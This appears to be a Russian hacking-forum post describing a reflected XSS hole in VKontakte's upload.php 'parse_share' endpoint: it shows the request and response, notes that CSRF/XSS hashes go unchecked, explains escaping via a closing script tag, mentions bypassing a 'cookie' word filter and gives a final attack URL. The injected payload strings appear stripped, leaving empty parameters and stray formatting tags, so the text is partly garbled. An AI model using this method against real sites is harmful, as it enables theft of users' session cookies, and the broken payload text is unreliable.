cs*.vkontakte.ru/cs*.vk.vom
При отправке ссылки на видео
youtube на стену, ВК парсит инфу об этом видео и выводит его на стену вместо отправляемой ссылки.
Для примера возьмем ролик
http://www.youtube.com/watch?v=AW4u7mGMNcg (первый попавшийся)
Если вставить ссылку в сообщение и нажать кнопку "отправить", выполнится
POST-запрос:
http://cs[N].vkontakte.ru/upload.php
act=parse_share&from_host=vkontakte.ru&mid=[СВОЙ_ID]&hash=[ХЭШ1]&rhash=[ХЭШ2]&url=[ССЫЛКА_НА_РОЛИК]
Ответ:
Код HTML:
document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
parent.onParseDone({
title: 'Порно? ВКонтакте! / Need Porn? Use Russian Facebook!',
description: "Комментируйте, голосуйте, добавляйте в избранное, рассылайте друзьям :) Большое спасибо за помощь в распространении нас :)\n\nWE LOVE OUR AMERICAN AUDIENCE, SUBSCRIBE, WE WILL BE ADDING ENGLISH SUBTITLES TO FUTURE VIDEOS FOR YOUR ENJOYMENT :)\n\nОбсуждение в нашей группе ВКонтакте:\n?http://vkontakte.ru/club382321?\n\nПроизводство студии My Duck's Vision\nСайт студии: ?http://mdvision.ru?",
images: ['http://img.youtube.com/vi/AW4u7mGMNcg/0.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/2.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/3.jpg','http://img.youtube.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/3.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/2.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/1.jpg','http://i.ytimg.com/vi/AW4u7mGMNcg/0.jpg'],
url: 'http://www.youtube.com/watch?v=AW4u7mGMNcg',
domain: 'www.youtube.com',
extra: 21,
extraData: 'AW4u7mGMNcg:204'
});
Параметр
url возвращается в ответе. Кавычки экранируются, поэтому за пределы строки выйти не получится. Остается единственный вариант - закрывающий тег
script, который даже внутри строки прерывает выполнение
JS-кода.
Как оказалось, хэши для защиты от
CSRF и
XSS в этом запросе не проверяются. Параметры
from_host,
mid,
hash и
rhash необязательны. Отправлять можно
GET-ом.
url=http://google.com/
Код HTML:
document.domain = location.host.toString().match(/[a-zA-Z]*\.[a-zA-Z]*$/)[0];
parent.onParseFail();
Страница не существует (
404)
url=http://google.com/?
Код HTML:
url: 'http://www.google.com/?%3C/%3E=',
Редирект.
url берется из
location (
302)
url=http://www.google.com/?=
Код HTML:
url: 'http://www.google.com/?=',
Страница существует (
200)
Пассивка найдена, но при попытке отправить в запросе
url=http://www.google.com/?=
оказывается, что фильтруется слово "
cookie".
Обходится этот фильтр просто:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
XSS:
http://cs4567.vkontakte.ru/upload.php?act=parse_share&url=http://www.google.com/?=